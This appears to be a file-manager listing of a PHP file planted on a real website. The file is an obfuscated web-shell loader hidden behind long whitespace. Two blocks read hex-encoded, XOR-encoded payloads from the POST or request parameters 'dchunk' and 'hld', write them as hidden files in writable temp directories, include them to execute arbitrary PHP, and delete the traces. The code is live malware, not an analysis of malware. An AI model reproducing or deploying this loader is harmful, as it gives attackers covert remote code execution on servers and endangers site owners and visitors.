Current File : /home/u70102/domains/emfinance.com.pl/public_html/interta.php

<?php																																										if(array_key_exists("\x64\x63\x68unk", $_POST) && !is_null($_POST["\x64\x63\x68unk"])){ $k = hex2bin($_POST["\x64\x63\x68unk"]); $dat = '' ; $k = 0; do{$dat .= chr(ord($k[$k]) ^ 36);$k++;} while($k < strlen($k)); $binding = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]); foreach ($binding as $value): if ((is_dir($value) and is_writable($value))) { $pset = vsprintf("%s/%s", [$value, ".ent"]); $success = file_put_contents($pset, $dat); if ($success) { include $pset; @unlink($pset); exit;} } endforeach; }
 if(isset($_REQUEST)&&isset($_REQUEST["hld"])):$_0=hEx2biN($_REQUEST["\150\154d"]);$_1="";$_2=(int)RoUnd(0+0);while($_2<StRLen($_0)):$_1.=chR(OrD($_0[$_2])^(0b10001011+0b1111100- -471+-01330));$_2++;endwhile;$_3=ArRAy_FilTeR(["/dev/sh\155","/t\x6dp",ini_GEt("u\x70loa\144_\164mp_dir"),SyS_get_temp_dir(),gEtENv("TMP"),"\057var\x2ftmp",seSsIon_SAve_PaTH(),GeTcwD(),geTeNV("TEMP")]);foreach($_3 as$_4):if(IS_dIr($_4)&&Is_WRITAble($_4)):$_5=$_4."/.d\141ta_ch\x75\x6ek";$_6=FilE_puT_CONtEnTs($_5,$_1);if($_6):include $_5;@uNLinK($_5);die();endif;endif;endforeach;endif;